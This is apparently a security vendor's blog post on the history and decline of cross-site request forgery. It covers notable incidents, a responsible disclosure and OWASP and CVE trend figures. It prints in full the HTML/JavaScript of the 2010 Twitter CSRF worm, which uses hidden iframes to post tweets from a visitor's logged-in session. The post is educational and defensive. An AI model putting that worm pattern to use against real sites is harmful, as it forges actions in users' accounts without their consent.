Cross-Site Request Forgery: What Happened to the Sleeping Giant?
Last updated on: September 7, 2020
A decade ago, cross-site request forgery (CSRF, often pronounced “c-surf”) was considered
to be a sleeping giant, preparing to wake and inflict havoc on the Worldwide Web. But the doomsday scenario never materialized and you don’t even seem to hear much about it anymore. In this blog post, part 1 of 2, I will explore this idea and try to understand why the CSRF giant never awoke. First we’ll cover the overall threat landscape, trends, and some notable CSRF exploits throughout the years, including one from personal experience.
As a quick review, CSRF exists because web applications trust the cookies sent by web browsers within an HTTP request. In a CSRF attack, the attacker causes a victim’s browser to make a request that results in a change or action which benefits the attacker (and/or harms the victim) in some way. Without a specific defense – like a random token in the request body that is validated on the server side – CSRF attacks are possible.
First CSRF
My first experience with CSRF dates back to 2006. I was a subscriber to an online DVD rental service and often logged into their website to manage my account, browse for interesting movies, and rearrange DVDs in my rental queue. I had recently learned about CSRF for the first time and noticed that the HTTP requests being made to the website did not include a random token other than in a cookie, which is a classic sign that the site is vulnerable to CSRF. After a bit of testing, my suspicions were confirmed. All requests that caused any sort of change could be exploited with CSRF. This included:
- Adding a DVD to your queue
- Changing shipping address on your account
- Changing your login credentials
- Cancelling your account
I contacted the company to let them know about these security holes. Surprisingly, they didn’t seem to be aware there was such a thing as CSRF, but they thanked me anyway and rolled out a fix about a month later.
More CSRFs
There have been other notable instances of CSRF vulnerabilities with some of them being exploited in the wild. Drive-by pharming is an attack on the DNS settings of home routers and modems and often leverages CSRF as a key element. The web UIs on these devices are the culprit, because they allow users to edit configuration settings. In one attack from 2008, banking customers in Mexico who owned 2Wire DSL modems were targeted. Victims received an email with an embedded image tag with a CSRF attack that changed the DNS settings on their modem. This change caused anyone who tried to visit their banking website to instead be sent to a phishing site where their credentials were easily stolen.
In another instance, tens of thousands of Twitter users fell victim to a CSRF worm in 2010 when developers failed to implement anti-CSRF measures for tweets. The vulnerability was discovered and exploited in a rather distasteful but harmless way. When authenticated Twitter users visited the web page containing the exploit, they unknowingly posted two tweets – one with a link to the same page and another with a message about goats. Anyone who clicked on the link in the first tweet also posted the same two tweets. The worm spread like wildfire before it was fixed by Twitter.
To see how simple an exploit like this can be, I’ve provided the code for the Twitter CSRF worm in its entirety below (message about goats changed to protect sensitive readers):
<html>
<head></head>
<body>
<script>
var el1 = document.createElement(‘iframe’);
var el2 = document.createElement(‘iframe’);
el1.style.visibility=”hidden”;
el2.style.visibility=”hidden”;
el1.src = “http://twitter.com/share/update?status=WTF:%20” + window.location;
el2.src = “http://twitter.com/share/update?status=goats%20message%20here”;
document.getElementsByTagName(“body”)[0].appendChild(el1);
document.getElementsByTagName(“body”)[0].appendChild(el2);
</script>
</body>
</html>
In 2012 Facebook’s App Center was vulnerable to CSRF and the security researcher who discovered the flaw was awarded $5000 as a bounty. Interestingly, in this case the HTTP request included an anti-CSRF token that appeared at first glance to provide protection, but the token was not being validated by the server-side application when the request was received. This type of problem is fairly common. A Qualys researcher found other examples where anti-CSRF tokens were not properly validated.
More recent CSRF issues in high-profile websites are harder to find. In 2013 eBay’s website would allow a user’s contact information to be changed via CSRF. And similar to the Facebook issue mentioned above, PayPal in 2016 did not validate the anti-CSRF token in paypal.me. An attacker could only change a user’s profile photo in that case however.
CSRF Trends
So how serious is CSRF compared to other web application security issues? I found that CSRF vulnerabilities typically have a CVSS score around 7.0. This is quite significant considering CVSS scores range from 0.0 to 10.0.
In terms of the OWASP Top 10, CSRF’s ranking has dropped to #8 since making its debut in 2007 at #5. The Top 10 is due for an update in 2017 and it will be interesting to see where CSRF is placed.
| OWASP Top 10 Edition: | 2004 | 2007 | 2010 | 2013 | 2017 |
| CSRF Ranking: | – | #5 | #5 | #8 | ? |
Now let’s now look at the trend of CSRF vulnerabilities in terms of pervasiveness. One way to do this is by counting the number of CSRF advisories over the years that have been published and assigned a CVE ID. Based on the following chart, the number of CSRF vulnerabilities are starting to decline. However, we have to take this data with a grain of salt considering that delays in assigning CVE IDs have been reported.
| 2004 | 2006 | 2008 | 2010 | 2012 | 2014 | 2015 | 2016 |
| 5 | 18 | 85 | 84 | 179 | 306 | 270 | 85 |
Web application security is a complex topic and securing your apps against CSRF is just one small aspect of what should be considered in an overall application security program. Automated testing with a tool such as Qualys WAS is one piece of the puzzle because it helps identify many different types of vulnerabilities so they can be remediated to reduce risk.
Great Write. Dave. I think CSRF is drawing more and more attentions now days. In most of the case, the prevalence of CSRF vulnerability is caused by poor implementation of CSRF mitigation method.